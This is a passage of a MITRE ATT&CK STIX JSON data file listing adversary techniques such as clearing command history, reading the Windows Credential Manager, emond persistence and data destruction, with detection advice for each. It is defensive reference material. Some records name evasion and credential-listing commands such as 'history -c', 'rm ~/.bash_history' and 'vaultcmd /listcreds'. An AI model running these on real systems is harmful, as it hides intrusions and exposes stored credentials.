Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","Windows","macOS","SaaS","IaaS","Office Suite"],"x_mitre_version":"3.4","x_mitre_data_sources":["Logon Session: Logon Session Creation","Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1213","external_id":"T1213"},{"source_name":"Mitiga","description":"Ariel Szarf, Doron Karmi, and Lionel Saposnik. (n.d.). Oops, I Leaked It Again — How Mitiga Found PII in Exposed Amazon RDS Snapshots. Retrieved September 24, 2024.","url":"https://www.mitiga.io/blog/how-mitiga-found-pii-in-exposed-amazon-rds-snapshots"},{"source_name":"Atlassian Confluence Logging","description":"Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.","url":"https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html"},{"source_name":"TrendMicro Exposed Redis 2020","description":"David Fiser and Jaromir Horejsi. (2020, April 21). Exposed Redis Instances Abused for Remote Code Execution, Cryptocurrency Mining. Retrieved September 25, 2024.","url":"https://www.trendmicro.com/en_us/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html"},{"source_name":"Microsoft SharePoint Logging","description":"Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.","url":"https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"},{"source_name":"Sharepoint Sharing Events","description":"Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021.","url":"https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events"},{"source_name":"Cybernews Reuters Leak 2022","description":"Vilius Petkauskas . (2022, November 3). Thomson Reuters collected and leaked at least 3TB of sensitive data. Retrieved September 25, 2024.","url":"https://cybernews.com/security/thomson-reuters-leaked-terabytes-sensitive-data/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-11T22:30:01.227Z","name":"Clear Persistence","description":"Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022)\n\nIn some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Gavin Knapp"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Deletion","User Account: User Account Deletion","File: File Modification","Windows Registry: Windows Registry Key Modification","Process: Process Creation","Windows Registry: Windows Registry Key Deletion","Scheduled Job: Scheduled Job Modification","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","created":"2022-07-29T19:32:11.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1070/009","external_id":"T1070.009"},{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"},{"source_name":"Talos - Cisco Attack 2022","description":"Nick Biasini. (2022, August 10). Cisco Talos shares insights related to recent cyber attack on Cisco. Retrieved March 9, 2023.","url":"https://blog.talosintelligence.com/recent-cyber-attack/"},{"source_name":"NCC Group Team9 June 2020","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d3046a90-580c-4004-8208-66915bc29830","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1146","external_id":"T1146"}],"modified":"2020-01-31T12:32:52.281Z","name":"Clear Command History","description":"In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Log analysis","Host forensic analysis"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-15T16:44:35.906Z","name":"Windows Credential Manager","description":"Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Bernaldo Penas Antelo","Mugdha Peter Bansode","Uriel Kosayev","Vadim Khrykov"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:“Windows Credentials”).(Citation: Malwarebytes The Windows Vault)\n\nConsider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nConsider monitoring file reads to Vault locations, %Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Access","Command: Command Execution","Process: OS API Execution","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","created":"2020-11-23T15:35:53.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1555/004","external_id":"T1555.004"},{"source_name":"Malwarebytes The Windows Vault","description":"Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.","url":"https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"},{"source_name":"Delpy Mimikatz Crendential Manager","description":"Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.","url":"https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials"},{"source_name":"Microsoft Credential Locker","description":"Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN"},{"source_name":"Microsoft Credential Manager store","description":"Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store"},{"source_name":"Microsoft CredEnumerate","description":"Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.","url":"https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea"},{"source_name":"passcape Windows Vault","description":"Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.","url":"https://www.passcape.com/windows_password_recovery_vault_explorer"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-17T15:20:36.705Z","name":"Masquerade Account Name","description":"Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during [Create Account](https://attack.mitre.org/techniques/T1136), although accounts may also be renamed at a later date. This may also coincide with [Account Access Removal](https://attack.mitre.org/techniques/T1531) if the actor first deletes an account before re-creating one with the same name.(Citation: Huntress MOVEit 2023)\n\nOften, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management.(Citation: Elastic CUBA Ransomware 2022)(Citation: Aquasec Kubernetes Attack 2023) They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.”(Citation: Invictus IR Cloud Ransomware 2024) Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to [Account Discovery](https://attack.mitre.org/techniques/T1087). \n\nNote that this is distinct from [Impersonation](https://attack.mitre.org/techniques/T1656), which describes impersonating specific trusted individuals or organizations, rather than user or service account names. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Menachem Goldstein"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","SaaS","IaaS","Containers","Office Suite","Identity Provider"],"x_mitre_version":"1.0","x_mitre_data_sources":["User Account: User Account Creation"],"type":"attack-pattern","id":"attack-pattern--d349c66e-18e1-4d8b-a2d7-65af7cbd2ba0","created":"2024-08-05T21:39:16.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1036/010","external_id":"T1036.010"},{"source_name":"Elastic CUBA Ransomware 2022","description":"Daniel Stepanic, Derek Ditch, Seth Goodwin, Salim Bitam, Andrew Pease. (2022, September 7). CUBA Ransomware Campaign Analysis. Retrieved August 5, 2024.","url":"https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis"},{"source_name":"Invictus IR Cloud Ransomware 2024","description":"Invictus IR. (2024, January 11). Ransomware in the cloud. Retrieved August 5, 2024.","url":"https://www.invictus-ir.com/news/ransomware-in-the-cloud"},{"source_name":"Huntress MOVEit 2023","description":"John Hammond. (2023, June 1). MOVEit Transfer Critical Vulnerability CVE-2023-34362 Rapid Response. Retrieved August 5, 2024.","url":"https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response"},{"source_name":"Aquasec Kubernetes Attack 2023","description":"Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023.","url":"https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ivan Sinyakov"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753","type":"attack-pattern","created":"2019-09-19T14:07:11.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1519","url":"https://attack.mitre.org/techniques/T1519"},{"source_name":"xorrior emond Jan 2018","url":"https://www.xorrior.com/emond-persistence/","description":"Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019."},{"source_name":"magnusviri emond Apr 2016","url":"http://www.magnusviri.com/Mac/what-is-emond.html","description":"Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019."},{"source_name":"sentinelone macos persist Jun 2019","url":"https://www.sentinelone.com/blog/how-malware-persists-on-macos/","description":"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."}],"modified":"2020-01-24T15:15:44.006Z","name":"Emond","description":"Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1194","external_id":"T1194"},{"external_id":"CAPEC-163","source_name":"capec","url":"https://capec.mitre.org/data/definitions/163.html"}],"modified":"2020-03-02T19:30:53.487Z","name":"Spearphishing via Service","description":"Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"modified":"2023-03-30T21:01:40.332Z","name":"Hardware Additions","description":"Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_attack_spec_version":"2.1.0","x_mitre_deprecated":false,"x_mitre_detection":"Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_version":"1.6","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Drive: Drive Creation","Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1200","external_id":"T1200"},{"source_name":"Ossmann Star Feb 2011","description":"Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.","url":"https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html"},{"source_name":"Aleks Weapons Nov 2015","description":"Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.","url":"https://www.youtube.com/watch?v=lDvf4ScWbcQ"},{"source_name":"McMillan Pwn March 2012","description":"Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.","url":"https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/"},{"source_name":"Frisk DMA August 2016","description":"Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.","url":"https://www.youtube.com/watch?v=fXthwl6ShOg"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2022-10-19T21:18:29.349Z","name":"Server Software Component","description":"Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\n\nProcess monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ","x_mitre_platforms":["Windows","Linux","macOS","Network"],"x_mitre_is_subtechnique":false,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.4","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Application Log: Application Log Content","File: File Modification","File: File Creation","Process: Process Creation","Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","created":"2019-06-28T17:52:07.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1505","external_id":"T1505"},{"source_name":"volexity_0day_sophos_FW","description":"Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.","url":"https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"},{"source_name":"US-CERT Alert TA15-314A Web Shells","description":"US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.","url":"https://www.us-cert.gov/ncas/alerts/TA15-314A"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T20:46:14.641Z","name":"Data Destruction","description":"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_contributors":["Brent Murphy, Elastic","David French, Elastic","Syed Ummar Farooqh, McAfee","Prasad Somasamudram, McAfee","Sekhar Sarukkai, McAfee","Varonis Threat Labs","Joey Lei"],"x_mitre_deprecated":false,"x_mitre_detection":"Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\\Windows\\System32\\.\n\nIn cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","IaaS","Linux","macOS","Containers"],"x_mitre_version":"1.3","x_mitre_data_sources":["Snapshot: Snapshot Deletion","Cloud Storage: Cloud Storage Modification","Process: Process Creation","File: File Deletion","Image: Image Deletion","Instance: Instance Deletion","File: File Modification","Volume: Volume Deletion","Cloud Storage: Cloud Storage Deletion","Command: Command Execution"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","created":"2019-03-14T18:47:17.701Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1485","external_id":"T1485"},{"source_name":"DOJ - Cisco Insider","description":"DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco’s Network. Retrieved December 15, 2020.","url":"https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network"},{"source_name":"Unit 42 Shamoon3 2018","description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"},{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"},{"source_name":"FireEye Shamoon Nov 2016","description":"FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.","url":"https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"},{"source_name":"Kaspersky StoneDrill 2017","description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"},{"source_name":"Talos Olympic Destroyer 2018","description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"},{"source_name":"Data Destruction - Threat Post","description":"Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.","url":"https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/"},{"source_name":"Symantec Shamoon 